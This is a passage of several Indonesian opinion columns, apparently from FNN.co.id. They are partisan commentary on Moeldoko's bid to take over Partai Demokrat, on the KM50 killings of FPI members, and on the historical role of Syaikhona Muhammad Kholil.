diangkat SBY sebagai KASAD, namun Moeldoko membalasnya dengan air tuba. Tubanya dicampur Covid-19 lagi. Jadi pedihnya melebihi disayat sembilu. Sementara Menkopolhukam, Mahfud MD, turut berkomentar. Dialeknya khas Madura. Alam pikirannya normatif. Terlalu hukum. Hukum banget. Tidak menyertakan aspek sosial pendukung lain. Misalnya, mengeksplor sampai ke bab etika, sopan santun, budaya, moral, peradaban dan lain sebagainya. Sehingga pernyataannya sering membias. Distorsif. Luput dan tidak sesuai harapan. Sekalipun pernyataan Mahfud benar secara hukum. Padahal per hukuman itu mestinya memuat aspek tekstual dan kontekstual. Sehingga pas dipandang dari arah mana pun. Sebab “panggung sulap” di Deli Serdang disebut Mahfud sebagai hal biasa. Dianggap sebagai kumpul-kumpul kader PD. Pemerintah tidak perlu melarang atau menyuruh. Pasalnya, lagi-lagi terlalu hukum. Acara tersebut terlindung dalam UU No. 9 Tahun 1998, tentang kemerdekaan mengemukakan pendapat di muka umum. Penerapan regulasi ini pada KLB Moeldoko belum tentu tepat dan berkeadilan. Lantaran, dalam kapasitas apa Moeldoko sebagai orang Istana, ikutan kumpul dengan kader PD, yang diketahui sebagai kegiatan KLB? Ah, ada-ada saja Mahfud. Bukankah pemerintah saat ini tengah gencar melakukan pembatasan berkerumun karena Covid-19? Apakah hal itu tidak melanggar protokol kesehatan? Juga melawan UU No. 6 Tahun 2018 Tentang Kekarantinaan Kesehatan? Sebagaimana yang diterapkan kepada Habib Rizieq Shihab (HRS) saat mantu? Agaknya Mahfud MD belum tuntas menemukan delik hukum paling tepat, untuk membenarkan acara kawan se-lingkarannya di Istana Kepresidenan. Marahnya SBY yang sebenarnya manusiawi itu, malah ditanggapi dengan gaya insinuatif. Sindiran tak terang-terangan. Mengembalikan persoalan yang pernah dialami pihak yang sedang marah. Misalnya, saat SBY menjabat presiden, juga membiarkan dualisme kepemimpinan PKB. Antara Gus Dur dan Muhaimin Iskandar. Jadi, kalau sekarang SBY sewot itu dianggap baper. Begitu kira kira maksudnya. Sekalipun sekilas nampaknya sama, namun sebenarnya berbeda. Pihak yang terlibat konflik royokan PKB antara Gus Dur dengan Muhaimin Iskandar sama sama orang partikelir PKB. Bukan orang pemerintah. Sedangkan konflik PD Deli Serdang melibatkan orang pemerintah. Bahkan lingkar terdekat Jokowi selaku presiden. Dengan begitu, yurisprudensi berlatar pengalaman empiris yang dibilang Mahfud itu ngawur. Bila pembiaran kudeta dianggap tidak apa apa. Sah secara hukum. Jangan salah jika pemahaman itu kemudian mengembang ke arah misalnya, kudeta presiden itu lantas dianggap sah. Masyarakat sebenarnya berharap Mahfud yang secara faktual memiliki kompetensi dan kognisi di lingkup hukum, dapat memerankan kesanggupannya secara lebih, dibanding menteri-menteri sebelumnya. Kembali soal invasi Moeldoko terhadap AHY. Mengapa yang dipilih Moeldoko Partai Demokrat yang memiliki suara signifikan di DPR. Bukan partai gurem lainnya. Muncullah disini spekulasi politik. Karena suara PD cukup berarti, akankah hal itu akan digunakan Moeldoko untuk mengtiga kalikan jabatan Jokowi sebagai Presiden? Benar atau tidak benarnya kita tunggu sejarah berikutnya. Penulis adalah Pelaku UMKM.

Menguak Terus Misteri Kilometer 50 Tol Japek

by M. Rizal Fadillah Bandung FNN - Peristiwa pembunuhan atau pembantaian atas enam syuhada anggota laskar Fron Pembela Islam di kilometer 50 jalan tol Jakarta Cikampek (Japek) tidak akan mudah dihapus jejaknya. Meskipun bangunan rest area yang ada di sana kini telah dibantai dan dihabisi. Ada peristiwa dramatis, tragis, dan sadis terjadi di area dimana peristiwa bermula, berakhir, atau dilewati. Upaya untuk menghentikan kasus ini dengan akal-akalan mentersangkakan keenam syuhada telah gagal. Reaksi publik sangat keras atas pemberian status tersangka pada jenazah tersebut. Disamping mengada- ada, juga bertentangan dengan undang-undang. Ketika status itu dicabut, maka kasus ternyata tidak bisa terhenti. Terlalu berat bermain dalam skema seperti ini. Akhirnya tersangka berbalik, yaitu tiga orang anggota Kepolisian dari Polda Metro Jaya. Meski belum diumumkan namanya secara resmi oleh Mabes Polri, tetapi publik menduga tersangka ini adalah pelapor dan saksi yang menyebabkan keenam syuhada berstatus tersangka. Mereka adalah Briptu Fikri Ramadhan, Bripka Adi Ismanto, dan Bripka Faisal Khasbi. Direktur Tindak Pidana Umum (Dirtipidum) Badan Reserse Kriminal (Bareskrim) Polri, Brigjen Polisi Andi Ryan Djajadi menyatakan, ketiga anggota Polri yang berpotensi sebagai tersangka tersebut dapat dikenakan pasal 338 KUHP junto Pasal 351 ayat (3), yakni pembunuhan dan penganiayaan yang menyebabkan kematian. Munculnya pasal penganiayaan ini menarik karena menjadi pengakuan Polisi bahwa memang telah terjadi penganiayaan berat terhadap korban. Sesuatu atau stigma yang selama ini selalu ditepis oleh polisi. Seakan-akan tidak adanya penganiyayan. Bahkan semula dinyatakan oleh Kapolda Metro Jaya Irjen Polisi Fadil Imran bahwa korban menyerang polisi. Ketiga personel kepolisian yang menjadi potensi tersangka ini akan menjadi pembuka dari keterlibatan banyak fihak lain. Baik itu personil pembuntut yang jumlahnya lebih dari tiga orang, sebagaimana temuan dan hasil penyelidikan dari Komisi Nasional Hak Asasi manusia (Komnas HAM). Selain itu, terbuka peluang untuk dapat diketahui siapa "komandan" eksekusi yang diduga penumpang di mobil Land Rover yang tiba di rest area kilometer 50 malam itu? Ada selebrasi perjuangan dan kemenangan. Sampai sekarang, dua mobil lain yang bukan dari anggota Polda Metro Jaya belum juga diungkap ke publik oleh Komnas HAM siapa mereka? Moga kita berharap bahwa ketiga potensi tersangka ini benar pelaku sebenarnya. Bukan orang "yang senagaja dikorbankan" untuk menutupi pelaku lain yang justru menjadi aktor intelektual dari kejahatan kemanusiaan yang menyedihkan bangsa dan negara Indonesia ini. Sejarah kelam yang tidak boleh dimanipulasi. Harus menjadi pelajaran berharga untuk kita semua. Sikap keangkuhan terhadap kebenaran tidak boleh dibiarkan hanya dimonopoli oleh polisi. Korbannya adalah rakyat kecil yang tidak mempunyai kekuatan apa-apa. Apalagi mengingat pembunuhan enam syuhada ini dikaitkan dengan "unlawful hunting" tokoh dan ulama Habib Rizieq Shihab (HRS), maka dapatlah dikategorikan sebagai pembunuhan politik. Harus memantau dan mengikuti dengan akstif persidangan ini nantinya. Suapay bisa membongkar misteri yang berdampak sistemik. Oleh karena itu semua kita tidak berharap kasus "Harun Masiku" yang hilang atau dihilangkan, tidak terjadi pada pelaku sebenarnya atau pelaku kunci dari kasus pembunuhan 6 anggota laskar yang menjadi syuhada ini. Semoga misteri akan terus terkuak. Rakyat tetap mengawal proses politik dan hukum dengan ketat. Dasar keyakinan adalah bahwa Allah Subhaanahu Wata’ala Yang Maha Kuasa itu juga Maha Melihat dan Maha Mendengar. Ada atau tanpa Mubahalah. Penulis adalah Pemerhati Politik dan Kebangsaan.

Syaikhona Muhammad Kholil: Mengapa Harus Pahlawan? (3)

By Mochamad Toha Surabaya, FNN - Melalui diksi kata "Perampok dan Pencuri", Syaikhona Muhammad Kholil ingin menegaskan bahwa Pemerintah Hindia-Belanda telah benar-benar berlaku lalim dan sewenang-wenang terhadap masyarakat pribumi, sehingga wajib dilawan, dan harus diadukan kepada Tuhan. Penegasan perlawanan Syaikhona Kholil terhadap pemerintahan Hindia-Belanda menjadi benar-benar nyata ada, yang diimplementasikan dalam visi-misi gerakannya membebaskan bangsa dari cengkeraman Pemerintah Hindia-Belanda. Gerakan itu dilakukannya melalui gelora semangat mimbar-mimbar musholla dan pengajian kitab kuning. Angka Ramadlan 1316 Hijriah itu menunjukkan waktu kira-kira kapan peristiwa itu terjadi. Analisa kronika Sejarah Syaikhona Kholil menggambarkan bahwa pada 1316 H ini, ia kala itu berusia 65 tahun, mengingat Syaikhona Kholil lahir pada 1252 H. Pada usia 65 tahun ini, Syaikhona Muhammad Kholil berada di puncak usia emas; kealiman, kewibawaan, ketokohan, kemasyhuran, kesaktian linuih, jumlah pengikut, dan pengaruh tak ubahnya bagai bintang yang mencorong. Hal itu sebagaimana kesaksian Mbah Sholeh Lateng dalam kekaguman Ulama' Hijaz pada Syaikhona Kholil. Bukti otentik lebih detail, didapat dari angka yang tertulis dalam Perangko yang berisi 15-11-1899. Dapat disimpulkan bahwa Pemerintah Hindia-Belanda mengirim surat diplomatic ini pada Syaikhona Kholil pada 15 November 1899. Kesaksian dari Kiai Abdul Mu'thiy dan keberadaan guratan tulisan tangan tersebut semakin memperjelas posisi Syaikhona Kholil Bangkalan dalam perlawaqnannya terhadap Pemerintah Hindia-Belanda. Syaikhona Kholil sangat sadar bahwa perjuangan harus distrategikan dengan lebih matang melalui pendidikan, karya, dan pesantren. Syaikhona Kholil menegaskan bahwa cita-cita gurunya, Syaikh Nawawi al-Bantani harus dilanjutkan. Inspirasi kisah perjuangan Syaikh Nawawi Banten yang terpaksa “terusir” dari tanah Jawa harus diubah. Syaikhona Muhammad Kholil sadar bahwa paradigma strategi perjuangan materialisme-positivistik melalui ngokang bedil harus diubah. Strategi perjuangan harus dimulai dari paradigma idealisme-kontruktivistik. Paradigma idealisme-konstruktivistik dapat ditempuh melalui mimbar-mimbar musholla dan pendidikan. Paradigma idealisme-konstruktivistik ini pula telah diinspirasikan oleh Syaikh Nawawi Banten dalam periode keduanya kembali ke Makkah. Perjuangan Syaikhona Muhammad Kholil melalui jalur pendidikan dan pesantren adalah jalur sadar dan rasional. Pernyataan Profesor Abdul A'la kembali menemukan lokusnya. Tekad Syaikhinan mendidik para santrinya dapat digambarkan sebagai masterpiece sebuah karya. Hal tersebut selaras dengan pernyataan KH Afiduddin Muhajir “untuk mengetahui siapakah Syaikhona Kholil, cukup mengetahui siapa santri-santrinya beliau”. Masterpiece karya Syaikhona Muhammad Kholil Bangkalan adalah karya hidup para murid, karya hidup dalam diri para Pejuang Pahlawan. Jejaring Ulama Jejaring Islam di Nusantara Syaikhona Kholil menjadi muara jejaring ulama di Tanah Jawa dan Nusantara. Geneologi intelektual yang saling berhubung dan bersambung tersebut kemudian dibawa Syaikhona Kholil ke Nusantara dan melahirkan muara jejaring intelektual yang kelak menjadi kapital besar dalam pembangunan peradaban termasuk perlawanan kultural kaum santri. Banyak sejarawan mengungkapkan keberadaan Syaikhona Kholil sebagai puncak tujuan dari pengembangan ilmiah di Tanah Jawa. Catatan Snouck Hurgronje tentang temuannya mengenai ajaran ngetan dan masantren di kalangan masyarakat Sunda. Catatan yang sama disampaikan oleh seorang peneliti dari Jepang yaitu Hiroko Horikoshi saat melakukan penelitian di Garut pada 1972-1973. Dalam wawancaranya dengan sejumlah ulama di Garut selama masa penelitiannya, seorang peneliti Jepang, Hiroko Horikoshi, mengungkap, mereka mengingat-ingat kakek-neneknya dulu yang mengembara dan nyantri di sejumlah pesantren di Jatim dan di Madura abad 19. Hal serupa juga diungkap dalam catatan perjalanan Snouck Hurgronje di pesantren-pesantren di Priangan pada 1890-an. Disebut dalam catatan tersebut, banyak anak-anak santri Garut yang berguru ke pesantren-pesantren di Surabaya dan Madura. Simpul jejaring ulama dan santri Syaikhona Muhammad Kholil Bangkalan menyebar dari Jawa Timur, Jawa Tengah, Jawa Barat, dan Banten. Beliaulah Mahaguru yang melahirkan alim ulama, cendekiawan, dan pahlawan nasional yang memberikan kontribusi yang luar biasa bagi kehiduan berbangsa dan bernegara. Bahkan jam'iyah NU itu didirikan atas rekomendasi Syaikhona Kholil untuk mengumpulkan jejaring dan membentuk organisasi sosial masyarakat terbesar di Indonesia. Manuskrip Syekh Yasin bin Isa al Fadani yang menyatakan Syaikhona Muhammad Kholil itu sebagai episentrum Ulama Nusantara bahkan dunia. Genealogi intelektual yang saling berhubung dan bersambung tersebut kemudian dibawa Syaikhona Kholil ke Nusantara dan melahirkan muara jejaring intelektual yang kelak menjadi kapital besar dalam pembangunan peradaban termasuk perlawanan kultural kaum santri. Hal ini membuktikan, visi nasionalisme Syaikhona Kholil dalam membangun komunitas berbayang dengan membentuk jejaring dan simpul Islam di Nusantara relevan dengan pemikiran Benedict Anderson. Yakni, tentang nasionalisme sebagai sebuah ikatan kolektivitas horisontal yang mendalam di mana anggota-anggotanya diyakini mengkonstitusi (menciptakan) sebuah entitas yang kuat dan utuh. Dalam hal membentuk jejaring dan simpul Islam Nusantara, Syaikhona Kholil memandang perlu untuk memiliki ikatan yang kuat dan berhubungan satu sama lain dalam jejaring Islam untuk menjunjung tinggi kesetiaan, komitmen, dan rasa memiliki. Itu ditunjukkan melalui pengikatan diri terhadap prinsip-prinsip politik, sentimen, emosi, dan perasaan. Pengikatan diri dalam hal ini adalah komitmen kepada agama dan bangsanya. Bila berbicara sentimen, emosi, dan perasaan, dalam jejaring Syaikhona Kholil, melampaui batas geografis dan teritorial yang ada, meliputi seluruh Jawa, bahkan Nusantara. Dengan ikatan komunitas yang terbentuk melampaui ruang dan waktu, tidak terpaku di mana seorang manusia berada, karena manusia tersebut akan senantiasa melekatkan dirinya dengan identitas bangsanya. Konsep imagined communities-pun akan terbentuk dengan sendirinya, tanpa batas seperti yang dikemukakan oleh Anderson: “Orang-orang yang mendefinisikan diri mereka sebagai warga suatu bangsa, meski tidak pernah saling mengenal, bertemu, atau bahkan mendengar. Namun, dalam pikiran mereka hidup dalam suatu imajinasi tentang kesatuan bersama.” Masyarakat imajiner seperti ini akan rela mengorbankan jiwa dan raganya demi masyarakat imajiner bernama negara bangsa tersebut. Jaringan Ulama Nusantara yang diisisiasi oleh Syaikhona Kholil ini relevan dengan konsep Anderson dengan timbulnya identitas untuk membentuk kesadaran nasional yang memiliki pengaruh yang paling kuar dan bertahan lama dalam identitas kultural kolektif. Syaikhona Kholil merangkai suatu eksistensi komunitas yang diimajinasikan berdasarkan budaya yang sama dalam hal jejaring ulama dan santri dalam perjuangannya melalui jalur pendidikan Islam dan perlawanan fisik melawan kolonialisme di Indonesia. Menciptakan kembali sentimen keutuhan dan kesinambungan dengan masa lalu, dengan menstransendensi alienasi dan keretakan antara invividu dan masyarakat dalam dinamika bangsanya. (Bersambung). *** Penulis wartawan senior FNN.co.id

Moeldoko Mau Mendirikan Partai Demokrat Baru?

Nasehat Buya Anwar Abbas ini sangat layak didengar dan dituruti Moeldoko By Hersubeno Arief WAKIL Ketua Umum Majelis Ulama Indonesia (MUI) Anwar Abbas punya nasehat penting bagi KSP Moeldoko. Ketimbang mengambil paksa Partai Demokrat dari tangan Agus Harimurti Yudhoyono (AHY), lebih baik dia mendirikan partai sendiri. Namanya bisa partai apa saja. Kalau memang tetap tertarik dengan nama Demokrat, bisa Partai Demokrat Baru, atau Partai Demokrat Berseri. Buya Anwar Abbas, begitu dia biasa dipanggil, meminta Moeldoko meneladani Ketua Umum PDIP Megawati. Sebagai Ketua Umum Partai Demokrasi Indonesia (PDI) Mega dikudeta Soerjadi melalui Kongres Luar Biasa (KLB) di Asrama Haji Medan (1996). Dia kemudian mendirikan Partai Demokrasi Indonesia Perjuangan (PDIP). Pada Pemilu 1999 di awal Reformasi, PDIP ikut berlaga bersama bersama PDI. Hasilnya PDIP menjadi partai pemenang Pemilu. Megawati menjadi Wapres, dan kemudian menjadi Presiden. Partainya juga selalu berjaya dari pemilu ke pemilu. Dalam dua pemilu terakhir (2014, 2019) PDIP menjadi pemenang. PDIP masih mendapat bonus tambahan, Jokowi salah seorang kadernya menjadi Presiden selama dua periode. Nasehat Buya Anwar Abbas ini sangat layak didengar dan dituruti Moeldoko. Mega seperti kita saksikan, saat ini menjadi figur sangat berpengaruh dalam peta politik Indonesia. Beda sekali dengan Moeldoko. Sebagai mantan Panglima TNI, dan sekarang menjadi orang dekat Presiden Jokowi, citra Moeldoko berada dalam titik nadir. Dia disebut sebagai pembajak, bahkan begal politik. Jabatan Ketua Umum Partai Demokrat yang coba dia rampas, bukan membuatnya terhormat. Tapi malah dihujat. Belajar Dari Para Senior Sebenarnya Moeldoko tak perlu belajar ke orang lain. Cukup belajar dari para seniornya di TNI. Mantan Menhankam Pangab Jenderal Edy Sudradjat misalnya. Setelah kalah bersaing dengan Akbar Tanjung memperebutkan kursi Ketua Umum Partai Golkar, dia mendirikan PKPI (1999). Benar PKPI tidak pernah lolos parlemen. Tapi sampai sekarang publik, dan internal TNI, tetap respek. Mamandang dan menyebut namanya dengan takzim. Mantan Menhankam Pangab Jenderal Wiranto juga membangun parpol sendiri. Hanura (2006) yang dibangunnya sempat lolos parlemen. Tapi sejak kepemimpinannya dilepas ke Osman Sapta Odang, malah tidak lolos ke parlemen. Letjen Prabowo Subianto juga sukses membangun Gerindra (2008). Hingga kini menjadi partai kedua terbesar di parlemen. Dia juga sempat tiga kali berlaga di pilpres. Susilo Bambang Yudhoyono (SBY) juga sukses membangun Partai Demokrat (20010. Dengan Demokrat, SBY berhasil meraih sukses menjadi Presiden selama dua periode. Kalau mau cari model di luar TNI, dia bisa juga belajar dari Surya Paloh (SP). Setelah kalah dari Aburizal Bakrie dalam Munas VIII Partai Golkar (2009) di Pekanbaru, Riau, SP mendirikan Partai Nasdem (2011). Nasdem sukses, dalam dua periode terakhir selalu berada dalam koalisi partai-partai penguasa. Semua nama yang disebut di atas, bahkan berasal dari satu partai yang sama. Golkar. Masih ada figur lain yang bisa dicontoh Moeldoko. Ini bahkan figur anak-anak muda. Duet Anies Matta-Fahri Hamzah. Mereka tak perlu ribut-ribut. Setelah merasa tidak cocok dengan pengurus PKS lainnya, mereka mendirikan Partai Gelora Indonesia. Padahal konon kabarnya, mereka sempat ditawari untuk mengambil alih PKS dengan model KLB. Tapi tawaran itu ditolak. Anies-Fahri membangun partai dari nol. Dalam waktu singkat, kini telah memiliki pengurus di 34 Provinsi, dan seluruh kabupaten di Indonesia. Minus dua kabupaten di Jateng. Partai Gelora sudah siap ikut serta dalam pemilu. Benarlah yang dikatakan Buya Anwar Abbas. Moeldoko bisa mendirikan Partai Demokrat Baru, Berseri, atau Perjuangan. Bila tak mau susah payah membangun partai dari awal, sesungguhnya Moeldoko tetap bisa mengambil opsi KLB. Tapi bukan di Partai Demokrat. Sebagai kader Partai Hanura, Moeldoko bisa melaksanakan KLB dan mendongkel Ketua Umum Partai Hanura Osman Sapta Odang. Bila dia berhasil membenahi Hanura. Membawa kembali masuk ke parlemen. Moeldoko akan dikenang sebagai tokoh politik yang terhormat. Bukan begal Partai Demokrat! End Penulis adalah Wartawan Senior FNN.co.id.

Balada Partai Demokrat Amerika & Demokrat SBY

PARTAI Demoktrat Amerika punya akar sejarah dan idiologi jelas. Thomas Jefferson dan James Madison, Presiden Amerika ke-3 dan ke-4 ini berada langsung di jantung Demokrat Amerika. Partai Demokrat Amerika adalah kelanjutan dari kaukus Republik-Demokrat, sebelum akhirnya berubah menjelma menjadi Demokrat saja. Kaukus ini diotaki langsung oleh Thomas Jefferson dan James Madison, arsitek dibalik lahirnya UUD Amerika, sekaligus pencipta konsep Presidensial. Garis politiknya top dan berkelas. Sangat jelas. Bukan pemerintahan Federal yang supreme, tetapi pemerintah lokal. Bukan aristokrat, tuan tanah yang kaya di belahan Utara Amerika yang supreme. Tetapi petani di belahan Selatan Amerika yang supreme. Itulah cikal-bakal demokrat Amerika. Property Keluarga Cikeas? Bagaiman dengan demokrat SBY? Ah ini dia problemnya. Sangat tidak jelas posisinya. Tak pro kepada konglomerat, tetapi memiliki jarak yang jauh miliaran mil dengan petani kecil dan rakyat miskin. Entah karena itu sebabnya atau bukan, Demokrat SBY sejauh ini terlihat asyik sendiri dengan caranya, entah dirancang sendiri oleh SBY atau kuntilanak. Apa betul SBY adalah founder utama Demokrat? Berapa duit yang ditaruh SBY pada saat Demokrat didirikan? Apakah lambang Mercy saat ini hasil rancangan SBY? Siapa pencipta mars Demokrat? SBY kah atau Max Sopacua, nyong Ambon manise ini yang menciptakan? Kalau SBY memang terlibat dari awal dalam membentuk Partai Demokrat, tidakkah saat itu SBY adalah Menkopolkamnya Presiden Megawati? Apa SBY minta izin atau beritahukan kepada Ibu Megawati? Jadi anak buah Ibu Megawati, tetapi bikin partai lalu gunakan partai itu untuk melawan Ibu Mega dalam pilpres. Etiskah itu SBY? Kalau itu tidak etis, pantaskah SBY meminta Pak Jokowi menghidupkan etika? Dari kejauhan Demokrat SBY benar-benar milik keluarga SBY. SBY jadinya semacam ”Bos of the Bos” Demokrat. Ini menarik. Mengapa menarik? Demokrat Amerika tak pernah sekalipun terindikasi sebagai property milik Thomas Jefferson dan James Madison. Top mereka. Betul-betul negarawan mereka. Apakah tanpa Demokrat, SBY kehilangan wadah politik? Kalaupun begitu, etiskah Demokrat harus dikendalikan Hadi Utomo, iparnya Ani Yudhoyono? Setelah Hadi Utomo, memang Anas Urbaningrum. Tetapi Sekjennya Mas Ibas, anak SBY juga. Lalu begitu Anas kena musibah, SBY langsung kendalikan. Setelah itu AHY, kakak Ibas, jadi Ketum dan SBY jadi Ketua Majelis Tinggi. Inikah model demokrasi SBY? Demokrat memang angkuh dalam perpolitikan mutakhir. Sikapnya pada beberapa persitiwa politik, benar-benar menjengkelkan orang. Bayangkan Demokrat begitu independen pada Bang Hatta Rajasa, Besan SBY ketika Dia jadi cawapres berpasangan dengan Jendral Prabowo Subiyanto. Entah apalah maksudnya agar terlihat hebat, atau sombong atau agar menjadi center dalam permainan politik, sehingga orang harus bolak-balik konsultasi dengan SBY, setelah AHY-Sylvia Murni tersingkir pada putaran pertama Pilgub DKI. Demokrat SBY tak mendukung sana dan sini, baik Anies-Sandi atau Ahok-Jarot. Sikap mirip ini terjadi pada pilpres 2019 kemarin. Demokrat SBY benar-benar memusingkan orang. Prabowo Subiyanto harus bolak-balik ketemu SBY. Selalu saja ada sikap Demokrat, yang bukan hanya memusingkan Prabowo, tetapi juga pendukung-pendukungnya. Itu terjadi ditengah hasrat dan ekspektasi banyak orang agar Demokrat habis-habisan memenangkan Prabowo-Sandi. Apa sikap SBY itu dipengaruhi kenyataan Prabowo-Sandi disokong habis-habisan oleh ulama dan ummat Islam? Apa susahnya bagi AHY untuk datang ke Senayan pada kampanye akbar Prabowo-Sandi yang dipadati ribuan ummat Islam? Apapun alasan dibalik itu, ummat Islam merasa menderita, dilukai oleh keangkuhan Partai Demokrat SBY. Partai Demokrat dan SBY tampil sebagai pemain solo dalam politik Indonesia. Tidak peduli pada apa penderitaan politik yang dialami oleh kolega-koleganya. SBY tak berkontribusi pada penderitaan yang dialami Golkar dibawah Bang Ical dan PPP di bawah Yan Farid. Payah amat SBY dan Partai Demokrat. Sekarang Demokrat terang-terangan mengajak orang berjuang bersama mereka menghadapi kemelut KLB di Sibolangit Seli Serdang, Sumatera Utara. Bertempat di sekretariatnya di Dekat Tugu Proklamasi, diselenggarakan mimbar bebas. Demokrat Tidak Berkelamin Ada banner yang bertuliskan “Commander Call” Ketua Partai Demokrat se-Indonesia, Rapatkan Barisan Jaga Kehormatan dan Kedaulatan Partai. Taufiqurrahman, salah seorang pimpinannya mengatakan dalam mimbar itu “pada sore hari ini, saya ingin menyampaikan pada seluruh rakyat Indonesia, bahwa dari Kantor DPP Partai Demokrat, kita akan memulai sebuah gerakan dengan nama Aliansi Rakyat Penyelamat Demokrasi". Anda waras Bung Taufiqurrahman? Memangnya Demokrat itu demokratis? Demokrat tak produktif berpihak pada rakyat miskin ko bung. Demokrat tak bersuara terhadap hukum suka-suka yang menimpa anak-anak bangsa ini. Apakah Partai Demokrat dan SBY bersuara tentang penahanan semena-mena aktvis demokras Dr. Syahganda Nainggolan, Jumhur Hidayat, Dr. Anton Permana, Ustazah Kingkin Anidah? Eh, sekarang bicara minta didukung soal demokrasi, etika dan rule of law? Gawat deh Demokrat. Kemana suara SBY, AHY dan Partai Demokrat terkait penahanan Habib Rizieq Shihab (HRS) yang ditahan dengan ancaman hukuman Cuma dua tahun? Demokrat tidak bersuara juga soal unlwafull killing pada anak-anak laskar Front Pembela Islam (FPI) di kilometer 50 tol Jakarta-Cikampek (Japek). Partai Demokrat SBY tidak minta agar Allah Subhanahu Wata’ala yang Maha Tahu beri petunjuk pada aparat hukum agar pakai hati, pakai akal, pakai nalar dalam menegakan hukum. Apakah Partai Demokrat bodoh dan tolol untuk soal-soal yang seperti ini? Haqul yakin pasti tidak. Demokrat juga tak bersuara untuk anak-anak yang ditangkap dalam demo tolak Perubahan UU KPK. Demokrat SBY juga tak tahu ada anak-anak yang kepalanya bocor, hampir sekarat terkena benda tumpul Polisi. Demokrat SBY diam tenan atas ditangkapnya anak-anak yang menolak UU Cipta Kerja. Demokrat SBY ini payah sepayah-payahnya. Ketika tersambar KLB Sibolangit Deli Serdang, eh ajak orang bersama Demokrat menyelamatkan keadilan, demokrasi dan rule of law. Memangnya di Demokrat ada demokrasi dan rule of law? Enak aja. Senang, senangnya sendiri, ketika susah baru minta tolong orang. Jangan-jangan orang malah bilang ogah lah yaooo. Bro AHY, maju aja bersama Ibas adik anda dan SBY, ayah kalian itu. Kan ini partai punya kalian. Ya urus saja sendiri. Apalagi SBY kan jagoan. Jagoan ko minta tolong orang. Yang benar aja deh AHY dan SBY. Prilaku Moeldoko Primitif Oke itu satu hal. Seburuk itu sekalipun Demokrat SBY dan AHY, sikap Jendral (Purn) Moeldoko juga kebangetan dekil, jorok dan primitif. Yang lebih kebangetan lagi, ya sikap Presiden Jokowi. Presiden jangan pura-pura tak tahu tentang kelakuan Moeldoko ini. Moeldoko itu Kepala Kantor Staf Presiden (KSP). Dia berkantor di Kantor anda Pak Jokowi. Masa anda tak tahu? Mustahil pak bos tidak tahu. Apa anda, Pak Presiden telah mati rasa? Tak lagi punya rasa sebagai manusia, juga sebagai Presiden? Tidak bisakah anda pintar lagi sedikit saja? Presiden jangan bilang pemerintah tak bisa melarang orang ber-KLB. Orang bodoh juga tahu itu. Orang bodoh juga tahu masalahnya bukan di situ Pak Jokowi. Masalahnya Moeldoko itu Kepala Kantor Staf Presiden, berkantor di kantor Presiden, kantor anda Pak Presiden Jokowi. Itu masalah pokoknya. Apa anda diam-diam mau kangkangi Partai Demokrat SBY? Apa anda punya agenda mengamendemen UUD 1945, mengubah pasal 7 UUD 1945, sehingga bisa mencalonkan diri jadi Presiden lagi? Picik, licik dan primitif amat kalau itu tujuannya. Pak Presiden Jokowi, sikap anda ini mengingatkan orang atas sikap Presiden Richard Nixon, Presiden Amerika pada skandal gedung “watergate”. Itu terjadi 47 (empat puluh tujuh) tahun lalu. Perkaranya sederhana. Takut kalah pada pemilu 1972, Tim Nixon Nixon diam-diam menyadap pembicaraan-pembicaraan di Kantor Demokrat, di Washington DC. Apakah perintah melakukan wiretapping di Kantor Demokrat datang dari Nixon? Tidak juga. Perintah itu datang John Michcel, attorney general, yang pernah jadi Ketua Tim Kampanye Nixon 1968. Dialah yang merancang wiretapping itu. Selain dia, teridentifikasi dianranya Howard Hunt, mantan agen CIA, James MacCord, mantan agen FBI, Gordon Liddy, Ketua Tim Keuangan Kampanye Nixon. Semuanya terkait dengan Nixon. Merekalah yang berada di front depan kasus watergate ini. Howard Hunt yang merekrut Virgilio Gonzalez, Bernard Barker, James McCord, Eugenio Martinez, dan Frank Sturgis. Orang-orang ini yang beroperasi menyadap pembicaraan-pembicaraan di kantor Demokrat. Tak terhitung berapa kali Nixon menyangkal peristiwa itu. Tetapi Demokrat yang dominan di House of Representative dan Senat, melalui Judiciary Committe terus menggalakan penyelidikan dalam kerangka impeachment. Pada saat yang sama Mark Felt, penyelidik FBI, yang punya koneksi kuat dengan Bob Woodward dan Karl Benstein, dua jurnalis Washington Post ini, terus membagi informasi valid katagori A1 kepada keduanya. Washington Post terus memberitakannya. Pada saat yang sama Archibal Cox, Profesor hukum dari Harvard University, yang bertindak sebagai penyelidik independen, terus menemukan kenyataan top. Hari-hari berat buat Nixon tiba bersamaan House of Judiciary Committe meminta Supreme Court mengeluarkan perintah pengambilan paksa (subpoena) material recorder yang asli. Apa yang terjadi? Recorder asli yang berkali-kali ditolak Presiden Nixon untuk diserahkan kepada Judiciary Committe, akhirnya harus diserahkan juga oleh Nixon. Dan saatnya “saturday nigh massacre” tiba. Nixon mundur. Game over. Pak Jokowi anda musti ingat yang anda hadapi adalah SBY. International networkingnya Pak SBY top. Pak SBY pernah bilang, untuknya amerika adalah “second country”. Bagaimana kalau tiba-tiba Pak SBY eksploitasi habis-habisan kasus unlawfull killing enam laskar FPI di tol Japek itu? Pak Jokowi, apa anda tidak tahu bahwa urusan cetak-mencetak uang itu sama dengan menampar mukanya The Fed? Bagaimana kalau nanti Pak SBY mengeksploitasi semua itu? Bisa barabe dan berantakan semuanya lho Pak Jokowi. Terus terang saja, tidak masuk akal kalau Pak Jokowi lepas tangan dari tindakan Pak Moeldoko jijik, jorok dan primitif itu. Moeldoko ini sehari-harinya berada di kantor anda. Moeldoko tidak berkantor di luar pagar dan halaman istana. Itu fakta yang tidak bisa disangkal. Jadi, semakin anda sangkal dan lepas tangan, maka semakin beralasan SBY mencela anda sebagai orang tak punya rasa dan etika. Sikap cuek-bebek Pak Jokowi itu sama dengan seruan kepada rakyat untuk bersama SBY melawan anda.*

Jendral TNI (Purn) Gatot Memandu Etika Berpolitik

